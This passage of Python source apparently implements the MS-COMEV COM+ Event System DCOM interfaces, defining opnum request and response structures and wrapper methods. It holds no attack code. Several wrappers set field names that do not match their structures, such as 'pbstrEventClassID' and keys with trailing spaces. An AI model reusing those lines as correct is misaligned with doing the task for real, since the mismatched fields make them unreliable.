IEventSubscription_put_EventClassID(DCOMCALL):\n    opnum = 14\n    structure = (\n       ('bstrEventClassID', BSTR),\n    )\n\nclass IEventSubscription_put_EventClassIDResponse(DCOMANSWER):\n    structure = (\n       ('ErrorCode', error_status_t),\n    )\n\n# 3.1.4.4.9 get_MethodName (Opnum 15)\nclass IEventSubscription_get_MethodName(DCOMCALL):\n    opnum = 15\n    structure = (\n    )\n\nclass IEventSubscription_get_MethodNameResponse(DCOMANSWER):\n    structure = (\n       ('pbstrMethodName', BSTR),\n       ('ErrorCode', error_status_t),\n    )\n\n# 3.1.4.4.10 put_MethodName (Opnum 16)\nclass IEventSubscription_put_MethodName(DCOMCALL):\n    opnum = 16\n    structure = (\n       ('bstrMethodName', BSTR),\n    )\n\nclass IEventSubscription_put_MethodNameResponse(DCOMANSWER):\n    structure = (\n       ('ErrorCode', error_status_t),\n    )\n\n# 3.1.4.4.11 get_SubscriberCLSID (Opnum 17)\nclass IEventSubscription_get_SubscriberCLSID(DCOMCALL):\n    opnum = 17\n    structure = (\n    )\n\nclass IEventSubscription_get_SubscriberCLSIDResponse(DCOMANSWER):\n    structure = (\n       ('pbstrSubscriberCLSID', BSTR),\n       ('ErrorCode', error_status_t),\n    )\n\n# 3.1.4.4.12 put_SubscriberCLSID (Opnum 18)\nclass IEventSubscription_put_SubscriberCLSID(DCOMCALL):\n    opnum = 18\n    structure = (\n       ('bstrSubscriberCLSID', BSTR),\n    )\n\nclass IEventSubscription_put_SubscriberCLSIDResponse(DCOMANSWER):\n    structure = (\n       ('ErrorCode', error_status_t),\n    )\n\n# 3.1.4.4.13 get_SubscriberInterface (Opnum 19)\nclass IEventSubscription_get_SubscriberInterface(DCOMCALL):\n    opnum = 19\n    structure = (\n    )\n\nclass IEventSubscription_get_SubscriberInterfaceResponse(DCOMANSWER):\n    structure = (\n       ('ppSubscriberInterface', PMInterfacePointer),\n       ('ErrorCode', error_status_t),\n    )\n\n# 3.1.4.4.14 put_SubscriberInterface (Opnum 20)\nclass IEventSubscription_put_SubscriberInterface(DCOMCALL):\n    opnum = 20\n    structure = (\n       ('pSubscriberInterface', PMInterfacePointer),\n    )\n\nclass IEventSubscription_put_SubscriberInterfaceResponse(DCOMANSWER):\n    structure = (\n       ('ErrorCode', error_status_t),\n    )\n\n# 3.1.4.4.15 get_PerUser (Opnum 21)\nclass IEventSubscription_get_PerUser(DCOMCALL):\n    opnum = 21\n    structure = (\n    )\n\nclass IEventSubscription_get_PerUserResponse(DCOMANSWER):\n    structure = (\n       ('pfPerUser', BOOLEAN),\n       ('ErrorCode', error_status_t),\n    )\n\n# 3.1.4.4.16 put_PerUser (Opnum 22)\nclass IEventSubscription_put_PerUser(DCOMCALL):\n    opnum = 22\n    structure = (\n       ('fPerUser', BOOLEAN),\n    )\n\nclass IEventSubscription_put_PerUserResponse(DCOMANSWER):\n    structure = (\n       ('ErrorCode', error_status_t),\n    )\n\n# 3.1.4.4.17 get_OwnerSID (Opnum 23)\nclass IEventSubscription_get_OwnerSID(DCOMCALL):\n    opnum = 23\n    structure = (\n    )\n\nclass IEventSubscription_get_OwnerSIDResponse(DCOMANSWER):\n    structure = (\n       ('pbstrOwnerSID', BSTR),\n       ('ErrorCode', error_status_t),\n    )\n\n# 3.1.4.4.18 put_OwnerSID (Opnum 24)\nclass IEventSubscription_put_OwnerSID(DCOMCALL):\n    opnum = 24\n    structure = (\n       ('bstrOwnerSID', BSTR),\n    )\n\nclass IEventSubscription_put_OwnerSIDResponse(DCOMANSWER):\n    structure = (\n       ('ErrorCode', error_status_t),\n    )\n\n# 3.1.4.4.19 get_Enabled (Opnum 25)\nclass IEventSubscription_get_Enabled(DCOMCALL):\n    opnum = 25\n    structure = (\n    )\n\nclass IEventSubscription_get_EnabledResponse(DCOMANSWER):\n    structure = (\n       ('pfEnabled', BOOLEAN),\n       ('ErrorCode', error_status_t),\n    )\n\n# 3.1.4.4.20 put_Enabled (Opnum 26)\nclass IEventSubscription_put_Enabled(DCOMCALL):\n    opnum = 26\n    structure = (\n       ('fEnabled', BOOLEAN),\n    )\n\nclass IEventSubscription_put_EnabledResponse(DCOMANSWER):\n    structure = (\n       ('ErrorCode', error_status_t),\n    )\n\n# 3.1.4.4.21 get_Description (Opnum 27)\nclass IEventSubscription_get_Description(DCOMCALL):\n    opnum = 27\n    structure = (\n    )\n\nclass IEventSubscription_get_DescriptionResponse(DCOMANSWER):\n    structure = (\n       ('pbstrDescription', BSTR),\n       ('ErrorCode', error_status_t),\n    )\n\n# 3.1.4.4.22 put_Description (Opnum 28)\nclass IEventSubscription_put_Description(DCOMCALL):\n    opnum = 28\n    structure = (\n       ('bstrDescription', BSTR),\n    )\n\nclass IEventSubscription_put_DescriptionResponse(DCOMANSWER):\n    structure = (\n       ('ErrorCode', error_status_t),\n    )\n\n# 3.1.4.4.23 get_MachineName (Opnum 29)\nclass IEventSubscription_get_MachineName(DCOMCALL):\n    opnum = 29\n    structure = (\n    )\n\nclass IEventSubscription_get_MachineNameResponse(DCOMANSWER):\n    structure = (\n       ('pbstrMachineName', BSTR),\n       ('ErrorCode', error_status_t),\n    )\n\n# 3.1.4.4.24 put_MachineName (Opnum 30)\nclass IEventSubscription_put_MachineName(DCOMCALL):\n    opnum = 30\n    structure = (\n       ('bstrMachineName', BSTR),\n    )\n\nclass IEventSubscription_put_MachineNameResponse(DCOMANSWER):\n    structure = (\n       ('ErrorCode', error_status_t),\n    )\n\n# 3.1.4.4.25 GetPublisherProperty (Opnum 31)\nclass IEventSubscription_GetPublisherProperty(DCOMCALL):\n    opnum = 31\n    structure = (\n       ('bstrPropertyName', BSTR),\n    )\n\nclass IEventSubscription_GetPublisherPropertyResponse(DCOMANSWER):\n    structure = (\n       ('propertyValue', VARIANT),\n       ('ErrorCode', error_status_t),\n    )\n\n# 3.1.4.4.26 PutPublisherProperty (Opnum 32)\nclass IEventSubscription_PutPublisherProperty(DCOMCALL):\n    opnum = 32\n    structure = (\n       ('bstrPropertyName', BSTR),\n       ('propertyValue', VARIANT),\n    )\n\nclass IEventSubscription_PutPublisherPropertyResponse(DCOMANSWER):\n    structure = (\n       ('ErrorCode', error_status_t),\n    )\n\n# 3.1.4.4.27 RemovePublisherProperty (Opnum 33)\nclass IEventSubscription_RemovePublisherProperty(DCOMCALL):\n    opnum = 33\n    structure = (\n       ('bstrPropertyName', BSTR),\n    )\n\nclass IEventSubscription_RemovePublisherPropertyResponse(DCOMANSWER):\n    structure = (\n       ('ErrorCode', error_status_t),\n    )\n\n# 3.1.4.4.28 GetPublisherPropertyCollection (Opnum 34)\nclass IEventSubscription_GetPublisherPropertyCollection(DCOMCALL):\n    opnum = 34\n    structure = (\n    )\n\nclass IEventSubscription_GetPublisherPropertyCollectionResponse(DCOMANSWER):\n    structure = (\n       ('collection', PMInterfacePointer),\n       ('ErrorCode', error_status_t),\n    )\n\n# 3.1.4.4.29 GetSubscriberProperty (Opnum 35)\nclass IEventSubscription_GetSubscriberProperty(DCOMCALL):\n    opnum = 35\n    structure = (\n       ('bstrPropertyName', BSTR),\n    )\n\nclass IEventSubscription_GetSubscriberPropertyResponse(DCOMANSWER):\n    structure = (\n       ('propertyValue', VARIANT),\n       ('ErrorCode', error_status_t),\n    )\n\n# 3.1.4.4.30 PutSubscriberProperty (Opnum 36)\nclass IEventSubscription_PutSubscriberProperty(DCOMCALL):\n    opnum = 36\n    structure = (\n       ('bstrPropertyName', BSTR),\n       ('propertyValue', VARIANT),\n    )\n\nclass IEventSubscription_PutSubscriberPropertyResponse(DCOMANSWER):\n    structure = (\n       ('ErrorCode', error_status_t),\n    )\n\n# 3.1.4.4.31 RemoveSubscriberProperty (Opnum 37)\nclass IEventSubscription_RemoveSubscriberProperty(DCOMCALL):\n    opnum = 37\n    structure = (\n       ('bstrPropertyName', BSTR),\n    )\n\nclass IEventSubscription_RemoveSubscriberPropertyResponse(DCOMANSWER):\n    structure = (\n       ('ErrorCode', error_status_t),\n    )\n\n# 3.1.4.4.32 GetSubscriberPropertyCollection (Opnum 38)\nclass IEventSubscription_GetSubscriberPropertyCollection(DCOMCALL):\n    opnum = 38\n    structure = (\n    )\n\nclass IEventSubscription_GetSubscriberPropertyCollectionResponse(DCOMANSWER):\n    structure = (\n       ('collection', PMInterfacePointer),\n       ('ErrorCode', error_status_t),\n    )\n\n# 3.1.4.4.33 get_InterfaceID (Opnum 39)\nclass IEventSubscription_get_InterfaceID(DCOMCALL):\n    opnum = 39\n    structure = (\n    )\n\nclass IEventSubscription_get_InterfaceIDResponse(DCOMANSWER):\n    structure = (\n       ('pbstrInterfaceID', BSTR),\n       ('ErrorCode', error_status_t),\n    )\n\n# 3.1.4.4.34 put_InterfaceID (Opnum 40)\nclass IEventSubscription_put_InterfaceID(DCOMCALL):\n    opnum = 40\n    structure = (\n       ('bstrInterfaceID', BSTR),\n    )\n\nclass IEventSubscription_put_InterfaceIDResponse(DCOMANSWER):\n    structure = (\n       ('ErrorCode', error_status_t),\n    )\n\n################################################################################\n# 3.1.4.5 IEnumEventObject\n# 3.1.4.5.1 Clone (Opnum 3)\nclass IEnumEventObject_Clone(DCOMCALL):\n    opnum = 3\n    structure = (\n    )\n\nclass IEnumEventObject_CloneResponse(DCOMANSWER):\n    structure = (\n       ('ppInterface', PMInterfacePointer),\n       ('ErrorCode', error_status_t),\n    )\n\n# 3.1.4.5.2 Next (Opnum 4)\nclass IEnumEventObject_Next(DCOMCALL):\n    opnum = 4\n    structure = (\n       ('cReqElem', ULONG),\n    )\n\nclass IEnumEventObject_NextResponse(DCOMANSWER):\n    structure = (\n       ('ppInterface', OBJECT_ARRAY),\n       ('cRetElem', ULONG),\n       ('ErrorCode', error_status_t),\n    )\n\n# 3.1.4.5.3 Reset (Opnum 5)\nclass IEnumEventObject_Reset(DCOMCALL):\n    opnum = 5\n    structure = (\n    )\n\nclass IEnumEventObject_ResetResponse(DCOMANSWER):\n    structure = (\n       ('ErrorCode', error_status_t),\n    )\n\n# 3.1.4.5.4 Skip (Opnum 6)\nclass IEnumEventObject_Skip(DCOMCALL):\n    opnum = 6\n    structure = (\n       ('cSkipElem', ULONG),\n    )\n\nclass IEnumEventObject_SkipResponse(DCOMANSWER):\n    structure = (\n       ('ErrorCode', error_status_t),\n    )\n\n################################################################################\n# 3.1.4.6 IEventObjectCollection\n# 3.1.4.6.1 get__NewEnum (Opnum 7)\nclass IEventObjectCollection_get__NewEnum(DCOMCALL):\n    opnum = 7\n    structure = (\n    )\n\nclass IEventObjectCollection_get__NewEnumResponse(DCOMANSWER):\n    structure = (\n       ('ppUnkEnum', PMInterfacePointer),\n       ('ErrorCode', error_status_t),\n    )\n\n# 3.1.4.6.2 get_Item (Opnum 8)\nclass IEventObjectCollection_get_Item(DCOMCALL):\n    opnum = 8\n    structure = (\n       ('objectID', BSTR),\n    )\n\nclass IEventObjectCollection_get_ItemResponse(DCOMANSWER):\n    structure = (\n       ('pItem', VARIANT),\n       ('ErrorCode', error_status_t),\n    )\n\n# 3.1.4.6.3 get_NewEnum (Opnum 9)\nclass IEventObjectCollection_get_NewEnum(DCOMCALL):\n    opnum = 9\n    structure = (\n    )\n\nclass IEventObjectCollection_get_NewEnumResponse(DCOMANSWER):\n    structure = (\n       ('ppEnum', PMInterfacePointer),\n       ('ErrorCode', error_status_t),\n    )\n\n# 3.1.4.6.4 get_Count (Opnum 10)\nclass IEventObjectCollection_get_Count(DCOMCALL):\n    opnum = 10\n    structure = (\n    )\n\nclass IEventObjectCollection_get_CountResponse(DCOMANSWER):\n    structure = (\n       ('pCount', LONG),\n       ('ErrorCode', error_status_t),\n    )\n\n# 3.1.4.6.5 Add (Opnum 11)\nclass IEventObjectCollection_Add(DCOMCALL):\n    opnum = 11\n    structure = (\n       ('item', VARIANT),\n       ('objectID', BSTR),\n    )\n\nclass IEventObjectCollection_AddResponse(DCOMANSWER):\n    structure = (\n       ('ErrorCode', error_status_t),\n    )\n\n# 3.1.4.6.6 Remove (Opnum 12)\nclass IEventObjectCollection_Remove(DCOMCALL):\n    opnum = 12\n    structure = (\n       ('objectID', BSTR),\n    )\n\nclass IEventObjectCollection_RemoveResponse(DCOMANSWER):\n    structure = (\n       ('ErrorCode', error_status_t),\n    )\n\n################################################################################\n# 3.1.4.7 IEventClass3\n# 3.1.4.7.1 get_EventClassPartitionID (Opnum 29)\nclass IEventClass3_get_EventClassPartitionID(DCOMCALL):\n    opnum = 29\n    structure = (\n    )\n\nclass IEventClass3_get_EventClassPartitionIDResponse(DCOMANSWER):\n    structure = (\n       ('pbstrEventClassPartitionID', BSTR),\n       ('ErrorCode', error_status_t),\n    )\n\n# 3.1.4.7.2 put_EventClassPartitionID (Opnum 30)\nclass IEventClass3_put_EventClassPartitionID(DCOMCALL):\n    opnum = 30\n    structure = (\n       ('bstrEventClassPartitionID', BSTR),\n    )\n\nclass IEventClass3_put_EventClassPartitionIDResponse(DCOMANSWER):\n    structure = (\n       ('ErrorCode', error_status_t),\n    )\n\n# 3.1.4.7.3 get_EventClassApplicationID (Opnum 31)\nclass IEventClass3_get_EventClassApplicationID(DCOMCALL):\n    opnum = 31\n    structure = (\n    )\n\nclass IEventClass3_get_EventClassApplicationIDResponse(DCOMANSWER):\n    structure = (\n       ('pbstrEventClassApplicationID', BSTR),\n       ('ErrorCode', error_status_t),\n    )\n\n# 3.1.4.7.4 put_EventClassApplicationID (Opnum 32)\nclass IEventClass3_put_EventClassApplicationID(DCOMCALL):\n    opnum = 32\n    structure = (\n       ('bstrEventClassApplicationID', BSTR),\n    )\n\nclass IEventClass3_put_EventClassApplicationIDResponse(DCOMANSWER):\n    structure = (\n       ('ErrorCode', error_status_t),\n    )\n\n################################################################################\n# 3.1.4.8 IEventSubscription2\n# 3.1.4.8.1 get_FilterCriteria (Opnum 41)\nclass IEventSubscription2_get_FilterCriteria(DCOMCALL):\n    opnum = 41\n    structure = (\n    )\n\nclass IEventSubscription2_get_FilterCriteriaResponse(DCOMANSWER):\n    structure = (\n       ('pbstrFilterCriteria', BSTR),\n       ('ErrorCode', error_status_t),\n    )\n\n# 3.1.4.8.2 put_FilterCriteria (Opnum 42)\nclass IEventSubscription2_put_FilterCriteria(DCOMCALL):\n    opnum = 42\n    structure = (\n       ('bstrFilterCriteria', BSTR),\n    )\n\nclass IEventSubscription2_put_FilterCriteriaResponse(DCOMANSWER):\n    structure = (\n       ('ErrorCode', error_status_t),\n    )\n\n# 3.1.4.8.3 get_SubscriberMoniker (Opnum 43)\nclass IEventSubscription2_get_SubscriberMoniker(DCOMCALL):\n    opnum = 43\n    structure = (\n    )\n\nclass IEventSubscription2_get_SubscriberMonikerResponse(DCOMANSWER):\n    structure = (\n       ('pbstrMoniker', BSTR),\n       ('ErrorCode', error_status_t),\n    )\n\n# 3.1.4.8.4 put_SubscriberMoniker (Opnum 44)\nclass IEventSubscription2_put_SubscriberMoniker(DCOMCALL):\n    opnum = 44\n    structure = (\n       ('bstrMoniker', BSTR),\n    )\n\nclass IEventSubscription2_put_SubscriberMonikerResponse(DCOMANSWER):\n    structure = (\n       ('ErrorCode', error_status_t),\n    )\n\n################################################################################\n# 3.1.4.9 IEventSubscription3\n# 3.1.4.9.1 get_EventClassPartitionID (Opnum 45)\nclass IEventSubscription3_get_EventClassPartitionID(DCOMCALL):\n    opnum = 45\n    structure = (\n    )\n\nclass IEventSubscription3_get_EventClassPartitionIDResponse(DCOMANSWER):\n    structure = (\n       ('pbstrEventClassPartitionID', BSTR),\n       ('ErrorCode', error_status_t),\n    )\n\n# 3.1.4.9.2 put_EventClassPartitionID (Opnum 46)\nclass IEventSubscription3_put_EventClassPartitionID(DCOMCALL):\n    opnum = 46\n    structure = (\n       ('bstrEventClassPartitionID', BSTR),\n    )\n\nclass IEventSubscription3_put_EventClassPartitionIDResponse(DCOMANSWER):\n    structure = (\n       ('ErrorCode', error_status_t),\n    )\n\n# 3.1.4.9.3 get_EventClassApplicationID (Opnum 47)\nclass IEventSubscription3_get_EventClassApplicationID(DCOMCALL):\n    opnum = 47\n    structure = (\n    )\n\nclass IEventSubscription3_get_EventClassApplicationIDResponse(DCOMANSWER):\n    structure = (\n       ('pbstrEventClassApplicationID', BSTR),\n       ('ErrorCode', error_status_t),\n    )\n\n# 3.1.4.9.4 put_EventClassApplicationID (Opnum 48)\nclass IEventSubscription3_put_EventClassApplicationID(DCOMCALL):\n    opnum = 48\n    structure = (\n       ('bstrEventClassPartitionID', BSTR),\n    )\n\nclass IEventSubscription3_put_EventClassApplicationIDResponse(DCOMANSWER):\n    structure = (\n       ('ErrorCode', error_status_t),\n    )\n\n# 3.1.4.9.5 get_SubscriberPartitionID (Opnum 49)\nclass IEventSubscription3_get_SubscriberPartitionID(DCOMCALL):\n    opnum = 49\n    structure = (\n    )\n\nclass IEventSubscription3_get_SubscriberPartitionIDResponse(DCOMANSWER):\n    structure = (\n       ('pbstrSubscriberPartitionID', BSTR),\n       ('ErrorCode', error_status_t),\n    )\n\n# 3.1.4.9.6 put_SubscriberPartitionID (Opnum 50)\nclass IEventSubscription3_put_SubscriberPartitionID(DCOMCALL):\n    opnum = 50\n    structure = (\n       ('bstrSubscriberPartitionID', BSTR),\n    )\n\nclass IEventSubscription3_put_SubscriberPartitionIDResponse(DCOMANSWER):\n    structure = (\n       ('ErrorCode', error_status_t),\n    )\n\n# 3.1.4.9.7 get_SubscriberApplicationID (Opnum 51)\nclass IEventSubscription3_get_SubscriberApplicationID(DCOMCALL):\n    opnum = 51\n    structure = (\n    )\n\nclass IEventSubscription3_get_SubscriberApplicationIDResponse(DCOMANSWER):\n    structure = (\n       ('pbstrSubscriberApplicationID', BSTR),\n       ('ErrorCode', error_status_t),\n    )\n\n# 3.1.4.9.8 put_SubscriberApplicationID (Opnum 52)\nclass IEventSubscription3_put_SubscriberApplicationID(DCOMCALL):\n    opnum = 52\n    structure = (\n       ('bstrSubscriberApplicationID', BSTR),\n    )\n\nclass IEventSubscription3_put_SubscriberApplicationIDResponse(DCOMANSWER):\n    structure = (\n       ('ErrorCode', error_status_t),\n    )\n\n################################################################################\n# 3.1.4.10 IEventSystem2\n# 3.1.4.10.1 GetVersion (Opnum 13)\nclass IEventSystem2_GetVersion(DCOMCALL):\n    opnum = 13\n    structure = (\n    )\n\nclass IEventSystem2_GetVersionResponse(DCOMANSWER):\n    structure = (\n       ('pnVersion', INT),\n       ('ErrorCode', error_status_t),\n    )\n\n# 3.1.4.10.2 VerifyTransientSubscribers (Opnum 14)\nclass IEventSystem2_VerifyTransientSubscribers(DCOMCALL):\n    opnum = 14\n    structure = (\n    )\n\nclass IEventSystem2_VerifyTransientSubscribersResponse(DCOMANSWER):\n    structure = (\n       ('ErrorCode', error_status_t),\n    )\n\n################################################################################\n# 3.1.4.11 IEventSystemInitialize\n# 3.1.4.11.1 SetCOMCatalogBehaviour (Opnum 3)\nclass IEventSystemInitialize_SetCOMCatalogBehaviour(DCOMCALL):\n    opnum = 3\n    structure = (\n       ('bRetainSubKeys', BOOLEAN),\n    )\n\nclass IEventSystemInitialize_SetCOMCatalogBehaviourResponse(DCOMANSWER):\n    structure = (\n       ('ErrorCode', error_status_t),\n    )\n\n\n################################################################################\n# OPNUMs and their corresponding structures\n################################################################################\nOPNUMS = {\n}\n\n################################################################################\n# HELPER FUNCTIONS AND INTERFACES\n################################################################################\nclass IEventClass(IDispatch):\n    def __init__(self, interface):\n        IDispatch.__init__(self,interface)\n        self._iid = IID_IEventClass\n\n    def get_EventClassID(self):\n        request = IEventClass_get_EventClassID()\n        resp = self.request(request, iid = self._iid, uuid = self.get_iPid())\n        resp.dump()\n        return resp\n\n    def put_EventClassID(self,bstrEventClassID):\n        request = IEventClass_put_EventClassID()\n        request['bstrEventClassID'] = bstrEventClassID\n        resp = self.request(request, iid = self._iid, uuid = self.get_iPid())\n        resp.dump()\n        return resp\n\n    def get_EventClassName(self):\n        request = IEventClass_get_EventClassName()\n        resp = self.request(request, iid = self._iid, uuid = self.get_iPid())\n        resp.dump()\n        return resp\n\n    def put_EventClassName(self, bstrEventClassName):\n        request = IEventClass_put_EventClassName()\n        request['bstrEventClassName'] = bstrEventClassName\n        resp = self.request(request, iid = self._iid, uuid = self.get_iPid())\n        resp.dump()\n        return resp\n\n    def get_OwnerSID(self):\n        request = IEventClass_get_OwnerSID()\n        resp = self.request(request, iid = self._iid, uuid = self.get_iPid())\n        resp.dump()\n        return resp\n\n    def put_OwnerSID(self, bstrOwnerSID):\n        request = IEventClass_put_OwnerSID()\n        request['bstrOwnerSID'] = bstrOwnerSID\n        resp = self.request(request, iid = self._iid, uuid = self.get_iPid())\n        resp.dump()\n        return resp\n\n    def get_FiringInterfaceID(self):\n        request = IEventClass_get_FiringInterfaceID()\n        resp = self.request(request, iid = self._iid, uuid = self.get_iPid())\n        resp.dump()\n        return resp\n\n    def put_FiringInterfaceID(self, bstrFiringInterfaceID):\n        request = IEventClass_put_FiringInterfaceID()\n        request['bstrFiringInterfaceID'] = bstrFiringInterfaceID\n        resp = self.request(request, iid = self._iid, uuid = self.get_iPid())\n        resp.dump()\n        return resp\n\n    def get_Description(self):\n        request = IEventClass_get_Description()\n        resp = self.request(request, iid = self._iid, uuid = self.get_iPid())\n        resp.dump()\n        return resp\n\n    def put_Description(self, bstrDescription):\n        request = IEventClass_put_Description()\n        request['bstrDescription'] = bstrDescription\n        resp = self.request(request, iid = self._iid, uuid = self.get_iPid())\n        resp.dump()\n        return resp\n\n    def get_TypeLib(self):\n        request = IEventClass_get_TypeLib()\n        resp = self.request(request, iid = self._iid, uuid = self.get_iPid())\n        resp.dump()\n        return resp\n\n    def put_TypeLib(self, bstrTypeLib):\n        request = IEventClass_put_TypeLib()\n        request['bstrTypeLib'] = bstrTypeLib\n        resp = self.request(request, iid = self._iid, uuid = self.get_iPid())\n        resp.dump()\n        return resp\n\nclass IEventClass2(IEventClass):\n    def __init__(self, interface):\n        IEventClass.__init__(self,interface)\n        self._iid = IID_IEventClass2\n\n    def get_PublisherID(self):\n        request = IEventClass2_get_PublisherID()\n        resp = self.request(request, iid = self._iid, uuid = self.get_iPid())\n        resp.dump()\n        return resp\n\n    def put_PublisherID(self, bstrPublisherID):\n        request = IEventClass2_put_PublisherID()\n        request['bstrPublisherID'] = bstrPublisherID\n        resp = self.request(request, iid = self._iid, uuid = self.get_iPid())\n        resp.dump()\n        return resp\n\n    def get_MultiInterfacePublisherFilterCLSID(self):\n        request = IEventClass2_get_MultiInterfacePublisherFilterCLSID()\n        resp = self.request(request, iid = self._iid, uuid = self.get_iPid())\n        resp.dump()\n        return resp\n\n    def put_MultiInterfacePublisherFilterCLSID(self, bstrPubFilCLSID):\n        request = IEventClass2_put_MultiInterfacePublisherFilterCLSID()\n        request['bstrPubFilCLSID'] = bstrPubFilCLSID\n        resp = self.request(request, iid = self._iid, uuid = self.get_iPid())\n        resp.dump()\n        return resp\n\n    def get_AllowInprocActivation(self):\n        request = IEventClass2_get_AllowInprocActivation()\n        resp = self.request(request, iid = self._iid, uuid = self.get_iPid())\n        resp.dump()\n        return resp\n\n    def put_AllowInprocActivation(self, fAllowInprocActivation):\n        request = IEventClass2_put_AllowInprocActivation()\n        request['fAllowInprocActivation '] = fAllowInprocActivation\n        resp = self.request(request, iid = self._iid, uuid = self.get_iPid())\n        resp.dump()\n        return resp\n\n    def get_FireInParallel(self):\n        request = IEventClass2_get_FireInParallel()\n        resp = self.request(request, iid = self._iid, uuid = self.get_iPid())\n        resp.dump()\n        return resp\n\n    def put_FireInParallel(self, fFireInParallel):\n        request = IEventClass2_put_FireInParallel()\n        request['fFireInParallel '] = fFireInParallel\n        resp = self.request(request, iid = self._iid, uuid = self.get_iPid())\n        resp.dump()\n        return resp\n\nclass IEventClass3(IEventClass2):\n    def __init__(self, interface):\n        IEventClass2.__init__(self,interface)\n        self._iid = IID_IEventClass3\n\n    def get_EventClassPartitionID(self):\n        request = IEventClass3_get_EventClassPartitionID()\n        resp = self.request(request, iid = self._iid, uuid = self.get_iPid())\n        resp.dump()\n        return resp\n\n    def put_EventClassPartitionID(self, bstrEventClassPartitionID):\n        request = IEventClass3_put_EventClassPartitionID()\n        request['bstrEventClassPartitionID '] = bstrEventClassPartitionID\n        resp = self.request(request, iid = self._iid, uuid = self.get_iPid())\n        resp.dump()\n        return resp\n\n    def get_EventClassApplicationID(self):\n        request = IEventClass3_get_EventClassApplicationID()\n        resp = self.request(request, iid = self._iid, uuid = self.get_iPid())\n        resp.dump()\n        return resp\n\n    def put_EventClassApplicationID(self, bstrEventClassApplicationID):\n        request = IEventClass3_put_EventClassApplicationID()\n        request['bstrEventClassApplicationID '] = bstrEventClassApplicationID\n        resp = self.request(request, iid = self._iid, uuid = self.get_iPid())\n        resp.dump()\n        return resp\n\nclass IEventSubscription(IDispatch):\n    def __init__(self, interface):\n        IDispatch.__init__(self,interface)\n        self._iid = IID_IEventSubscription\n\n    def get_SubscriptionID(self):\n        request = IEventSubscription_get_SubscriptionID()\n        resp = self.request(request, iid = self._iid, uuid = self.get_iPid())\n        resp.dump()\n        return resp\n\n    def put_SubscriptionID(self, bstrSubscriptionID):\n        request = IEventSubscription_put_SubscriptionID()\n        request['bstrSubscriptionID'] = bstrSubscriptionID\n        resp = self.request(request, iid = self._iid, uuid = self.get_iPid())\n        resp.dump()\n        return resp\n\n    def get_SubscriptionName(self):\n        request = IEventSubscription_get_SubscriptionName()\n        resp = self.request(request, iid = self._iid, uuid = self.get_iPid())\n        return resp\n\n    def put_SubscriptionName(self, bstrSubscriptionName):\n        request = IEventSubscription_put_SubscriptionName()\n        request['bstrSubscriptionName'] = bstrSubscriptionName\n        resp = self.request(request, iid = self._iid, uuid = self.get_iPid())\n        resp.dump()\n        return resp\n\n    def get_PublisherID(self):\n        request = IEventSubscription_get_PublisherID()\n        resp = self.request(request, iid = self._iid, uuid = self.get_iPid())\n        resp.dump()\n        return resp\n\n    def put_PublisherID(self, bstrPublisherID):\n        request = IEventSubscription_put_PublisherID()\n        request['bstrPublisherID'] = bstrPublisherID\n        resp = self.request(request, iid = self._iid, uuid = self.get_iPid())\n        resp.dump()\n        return resp\n\n    def get_EventClassID(self):\n        request = IEventSubscription_get_EventClassID()\n        resp = self.request(request, iid = self._iid, uuid = self.get_iPid())\n        resp.dump()\n        return resp\n\n    def put_EventClassID(self, pbstrEventClassID):\n        request = IEventSubscription_put_EventClassID()\n        request['pbstrEventClassID'] = pbstrEventClassID\n        resp = self.request(request, iid = self._iid, uuid = self.get_iPid())\n        resp.dump()\n        return resp\n\n    def get_MethodName(self):\n        request = IEventSubscription_get_MethodName()\n        resp = self.request(request, iid = self._iid, uuid = self.get_iPid())\n        resp.dump()\n        return resp\n\n    def put_MethodName(self, bstrMethodName):\n        request = IEventSubscription_put_MethodName()\n        request['bstrMethodName'] = bstrMethodName\n        resp = self.request(request, iid = self._iid, uuid = self.get_iPid())\n        resp.dump()\n        return resp\n\n    def get_SubscriberCLSID(self):\n        request = IEventSubscription_get_SubscriberCLSID()\n        resp = self.request(request, iid = self._iid, uuid = self.get_iPid())\n        resp.dump()\n        return resp\n\n    def put_SubscriberCLSID(self, bstrSubscriberCLSID):\n        request = IEventSubscription_put_SubscriberCLSID()\n        request['bstrSubscriberCLSID'] = bstrSubscriberCLSID\n        resp = self.request(request, iid = self._iid, uuid = self.get_iPid())\n        resp.dump()\n        return resp\n\n    def get_SubscriberInterface(self):\n        request = IEventSubscription_get_SubscriberInterface()\n        resp = self.request(request, iid = self._iid, uuid = self.get_iPid())\n        resp.dump()\n        return resp\n\n    def put_SubscriberInterface(self, pSubscriberInterface):\n        request = IEventSubscription_put_SubscriberInterface()\n        request['pSubscriberInterface'] = pSubscriberInterface\n        resp = self.request(request, iid = self._iid, uuid = self.get_iPid())\n        resp.dump()\n        return resp\n\n    def get_PerUser(self):\n        request = IEventSubscription_get_PerUser()\n        resp = self.request(request, iid = self._iid, uuid = self.get_iPid())\n        resp.dump()\n        return resp\n\n    def put_PerUser(self, fPerUser):\n        request = IEventSubscription_put_PerUser()\n        request['fPerUser'] = fPerUser\n        resp = self.request(request, iid = self._iid, uuid = self.get_iPid())\n        resp.dump()\n        return resp\n\n    def get_OwnerSID(self):\n        request = IEventSubscription_get_OwnerSID()\n        resp = self.request(request, iid = self._iid, uuid = self.get_iPid())\n        resp.dump()\n        return resp\n\n    def put_OwnerSID(self, bstrOwnerSID):\n        request = IEventSubscription_put_OwnerSID()\n        request['bstrOwnerSID'] = bstrOwnerSID\n        resp = self.request(request, iid = self._iid, uuid = self.get_iPid())\n        resp.dump()\n        return resp\n\n    def get_Enabled(self):\n        request = IEventSubscription_get_Enabled()\n        resp = self.request(request, iid = self._iid, uuid = self.get_iPid())\n        resp.dump()\n        return resp\n\n    def put_Enabled(self, fEnabled):\n        request = IEventSubscription_put_Enabled()\n        request['fEnabled'] = fEnabled\n        resp = self.request(request, iid = self._iid, uuid = self.get_iPid())\n        resp.dump()\n        return resp\n\n    def get_Description(self):\n        request = IEventSubscription_get_Description()\n        resp = self.request(request, iid = self._iid, uuid = self.get_iPid())\n        resp.dump()\n        return resp\n\n    def put_Description(self, bstrDescription):\n        request = IEventSubscription_put_Description()\n        request['bstrDescription'] = bstrDescription\n        resp = self.request(request, iid = self._iid, uuid = self.get_iPid())\n        resp.dump()\n        return resp\n\n    def get_MachineName(self):\n        request = IEventSubscription_get_MachineName()\n        resp = self.request(request, iid = self._iid, uuid = self.get_iPid())\n        resp.dump()\n        return resp\n\n    def put_MachineName(self, bstrMachineName):\n        request = IEventSubscription_put_MachineName()\n        request['bstrMachineName'] = bstrMachineName\n        resp = self.request(request, iid = self._iid, uuid = self.get_iPid())\n        resp.dump()\n        return resp\n\n    def GetPublisherProperty(self):\n        